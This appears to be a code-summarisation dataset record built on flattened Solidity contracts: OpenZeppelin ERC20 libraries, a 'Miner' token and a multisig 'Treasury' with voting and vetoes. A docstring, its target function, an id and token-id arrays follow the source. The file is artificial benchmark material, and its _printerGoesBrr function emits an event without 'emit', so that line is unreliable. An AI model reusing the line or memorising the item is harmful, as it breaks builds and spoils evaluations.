* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/Miner.sol
pragma solidity ^0.6.0;
contract Miner is ERC20, Ownable {
uint8 private constant DECIMALS = 18;
address private _minter;
constructor() public ERC20("Miner", "MINER") Ownable() {
// explicitly require a minter to be created.
_minter = address(0);
_setupDecimals(DECIMALS);
}
/**
* Sets the minter address.
* @param minter address The minter address.
*/
function setMinter(address minter) public onlyOwner {
require(minter != address(0), "Miner/zero-address");
_minter = minter;
}
/**
* Gets the minter address.
* @return address The minter address.
*/
function getMinter() public view returns (address) {
return _minter;
}
function mint(uint256 amount) public onlyMinter {
_mint(_msgSender(), amount);
}
/**
* Checks that the minter is assigned and is the calling user.
* If msg.sender does not match the minter, the test blows the gas limit
* out. Not sure why it doesn't revert on the require.
*/
modifier onlyMinter {
require(getMinter() == _msgSender(), "Miner/invalid-minter");
_;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/Treasury.sol
pragma solidity ^0.6.0;
enum ProposalType { Mint, Access, Withdrawal }
enum AccessAction { None, Grant, Revoke }
struct Proposal {
address proposer;
uint256 expires;
uint256 signatures;
bool open;
ProposalType proposalType;
}
struct Veto {
address proposer;
uint256 endorsements;
bool enforced;
uint256 proposal;
}
struct MintProposal {
uint256 amount;
}
struct WithdrawalProposal {
address recipient;
uint256 amount;
}
struct AccessProposal {
address signatory;
AccessAction action;
}
struct Signatory {
AccessAction action;
}
contract Treasury is Ownable {
using SafeMath for uint256;
using SafeERC20 for Miner;
Miner private _token;
uint8 public constant MINIMUM_SIGNATORIES = 3;
mapping(address => Signatory) public signatories;
address[] public signatoriesIndex;
uint256 public grantedCount;
Proposal[] public proposals;
// signatures[proposalIndex][signatoryAddress] = signed (true)
mapping(uint256 => mapping(address => bool)) public signed;
mapping(uint256 => address[]) public signatures;
Veto[] public vetoes;
mapping(uint256 => bool) public vetoedProposals;
mapping(uint256 => mapping(address => bool)) public vetoed;
mapping(uint256 => address[]) public vetoers;
mapping(uint256 => AccessProposal) public accessProposals;
mapping(uint256 => MintProposal) public mintProposals;
mapping(uint256 => WithdrawalProposal) public withdrawalProposals;
constructor(Miner token) public {
_token = token;
_grantSignatory(_msgSender());
}
function inSigningPeriod() public view returns (bool) {
if (proposals.length == 0) {
return false;
}
uint256 i = proposals.length.sub(1);
return _inSigningPeriod(i);
}
function _inSigningPeriod(uint256 i) private view returns (bool) {
return proposals[i].expires > now;
}
/**
* Proposes a minting event.
* @param amount uint256 The proposed amount to mint.
*/
function proposeMint(uint256 amount)
external
onlySignatory()
noPendingProposals()
minimumSignatories()
{
require(amount > 0, "Treasury/zero-amount");
mintProposals[proposals.length] = MintProposal(amount);
_propose(ProposalType.Mint);
}
/**
* Proposes the granting of signatory based on their public address.
* @param signatory address The address of the signatory to grant access
* to.
*/
function proposeGrant(address signatory)
external
onlySignatory()
noPendingProposals()
{
require(signatory != address(0), "Treasury/invalid-address");
require(
signatories[signatory].action != AccessAction.Grant,
"Treasury/access-granted"
);
uint256 index = getProposalsCount();
accessProposals[index] = AccessProposal(signatory, AccessAction.Grant);
_propose(ProposalType.Access);
}
/**
* Proposes the revoking of a signatory based on their public address.
* @param signatory address The address of the signatory to revoke access
* from.
*/
function proposeRevoke(address signatory)
external
onlySignatory()
noPendingProposals()
{
require(
grantedCount > MINIMUM_SIGNATORIES,
"Treasury/minimum-signatories"
);
require(signatory != address(0), "Treasury/invalid-address");
require(
signatories[signatory].action == AccessAction.Grant,
"Treasury/no-signatory-or-revoked"
);
uint256 index = getProposalsCount();
accessProposals[index] = AccessProposal(signatory, AccessAction.Revoke);
_propose(ProposalType.Access);
}
/**
* Proposes the withdrawal of Miner to a recipient's wallet address.
* @param recipient address The address of the recipient.
* @param amount uint256 The amount of Miner to withdraw to the recipient's
* wallet.
*/
function proposeWithdrawal(address recipient, uint256 amount)
external
onlySignatory()
noPendingProposals()
minimumSignatories()
{
require(amount > 0, "Treasury/zero-amount");
withdrawalProposals[proposals.length] = WithdrawalProposal(
recipient,
amount
);
_propose(ProposalType.Withdrawal);
}
/**
* Veto an existing, pending proposal.
*/
function vetoProposal()
external
onlySignatory()
minimumSignatories()
latestProposalPending()
{
uint256 totalProposals = getProposalsCount();
uint256 index = totalProposals.sub(1);
require(!vetoedProposals[index], "Treasury/veto-pending");
Veto memory veto = Veto(msg.sender, 0, false, index);
vetoedProposals[index] = true;
vetoes.push(veto);
endorseVeto();
}
/**
* Endorse a veto.
*/
function endorseVeto()
public
latestProposalPending()
onlySignatory()
{
uint256 totalVetoes = getVetoCount();
require(totalVetoes > 0, "Treasury/no-vetoes");
uint256 index = totalVetoes.sub(1);
require(
vetoed[index][msg.sender] != true,
"Treasury/signatory-already-vetoed"
);
Proposal storage vetoedProposal = proposals[vetoes[index].proposal];
vetoed[index][msg.sender] = true;
vetoers[index].push(msg.sender);
vetoes[index].endorsements = vetoes[index].endorsements.add(1);
if (vetoes[index].endorsements >= getRequiredSignatoryCount()) {
proposals[vetoes[index].proposal].open = false;
vetoes[index].enforced = true;
_revokeSignatory(vetoedProposal.proposer);
emit Vetoed(index, vetoes[index].proposal);
}
}
function _propose(ProposalType proposalType) private returns (uint256) {
Proposal memory proposal = Proposal(
msg.sender,
now + 48 hours,
0,
true,
proposalType
);
proposals.push(proposal);
sign();
}
/**
* Gets the total number of signatories.
*
* The getSignatoryCount gets the total number of signatories, whether
* their access is granted or revoked. To retrieve the number of granted
* signatories, use grantedCount.
* @return uint256 The total number of signatories.
*/
function getSignatoryCount() public view returns (uint256) {
return signatoriesIndex.length;
}
/**
* Gets the number of proposals.
* @return uint256 The number of proposals.
*/
function getProposalsCount() public view returns (uint256) {
return proposals.length;
}
/**
* Gets the number of vetoes.
* @return uint256 The number of vetoes.
*/
function getVetoCount() public view returns (uint256) {
return vetoes.length;
}
/**
* Gets the signatures for a proposal.
* @param proposal uint256 the proposal id.
* @return address[] A list if signatures for the proposal.
*/
function getSignatures(uint256 proposal)
external
view
returns (address[] memory)
{
return signatures[proposal];
}
/**
* Gets the signatures for a veto.
* @param veto uint256 the veto id.
* @return address[] A list if signatures for the veto.
*/
function getVetoEndorsements(uint256 veto)
external
view
returns (address[] memory)
{
return vetoers[veto];
}
/**
* Signs a proposal. If the required number of signatories is reached,
* execute the appropriate proposal action.
*/
function sign() public onlySignatory() latestProposalPending() {
require(proposals.length > 0, "Treasury/no-proposals");
uint256 index = getProposalsCount().sub(1);
require(
signed[index][msg.sender] != true,
"Treasury/signatory-already-signed"
);
signatures[index].push(msg.sender);
signed[index][msg.sender] = true;
proposals[index].signatures = proposals[index].signatures.add(1);
if (proposals[index].signatures >= getRequiredSignatoryCount()) {
proposals[index].open = false;
if (proposals[index].proposalType == ProposalType.Mint) {
_printerGoesBrr(mintProposals[index].amount);
} else if (
proposals[index].proposalType == ProposalType.Withdrawal
) {
_withdraw(
withdrawalProposals[index].recipient,
withdrawalProposals[index].amount
);
} else {
_updateSignatoryAccess();
}
}
emit Signed(index);
}
function getRequiredSignatoryCount() public view returns (uint256) {
return grantedCount.div(2).add(1);
}
function _updateSignatoryAccess() private {
uint256 index = getProposalsCount().sub(1);
// is this a new signatory?
address signatory = accessProposals[index].signatory;
if (accessProposals[index].action == AccessAction.Grant) {
_grantSignatory(signatory);
emit AccessGranted(signatory);
} else {
_revokeSignatory(signatory);
emit AccessRevoked(signatory);
}
}
function _grantSignatory(address signatory) private {
// if a new signatory, add to list.
if (signatories[signatory].action != AccessAction.Revoke) {
signatoriesIndex.push(signatory);
}
signatories[signatory] = Signatory(AccessAction.Grant);
grantedCount = grantedCount.add(1);
}
function _revokeSignatory(address signatory) private {
signatories[signatory] = Signatory(AccessAction.Revoke);
grantedCount = grantedCount.sub(1);
}
function _printerGoesBrr(uint256 amount) private {
_token.mint(amount);
Minted(amount);
}
function _withdraw(address recipient, uint256 amount) private {
_token.transfer(recipient, amount);
emit Withdrawn(recipient, amount);
}
modifier onlySignatory() {
require(
signatories[msg.sender].action == AccessAction.Grant,
"Treasury/invalid-signatory"
);
_;
}
modifier latestProposalPending() {
uint256 totalProposals = getProposalsCount();
if (totalProposals > 0) {
uint256 index = totalProposals.sub(1);
require(
proposals[index].open && inSigningPeriod(),
"Treasury/proposal-expired"
);
}
_;
}
modifier noPendingProposals() {
uint256 totalProposals = getProposalsCount();
if (totalProposals > 0) {
uint256 index = totalProposals.sub(1);
require(
!proposals[index].open || !inSigningPeriod(),
"Treasury/proposal-pending"
);
}
_;
}
modifier minimumSignatories() {
require(
grantedCount >= MINIMUM_SIGNATORIES,
"Treasury/minimum-signatories"
);
_;
}
event Signed(uint256 index);
event AccessGranted(address signatory);
event AccessRevoked(address signatory);
event Minted(uint256 amount);
event Withdrawn(address recipient, uint256 amount);
event Vetoed(uint256 veto, uint256 proposal);
} | * Gets the total number of signatories. The getSignatoryCount gets the total number of signatories, whether their access is granted or revoked. To retrieve the number of granted signatories, use grantedCount. @return uint256 The total number of signatories./ | function getSignatoryCount() public view returns (uint256) {
return signatoriesIndex.length;
}
| 59,150 | [
1,
3002,
326,
2078,
1300,
434,
1573,
639,
606,
18,
1021,
14167,
8452,
1380,
5571,
326,
2078,
1300,
434,
1573,
639,
606,
16,
2856,
3675,
2006,
353,
17578,
578,
22919,
18,
2974,
4614,
326,
1300,
434,
17578,
1573,
639,
606,
16,
999,
17578,
1380,
18,
327,
2254,
5034,
1021,
2078,
1300,
434,
1573,
639,
606,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
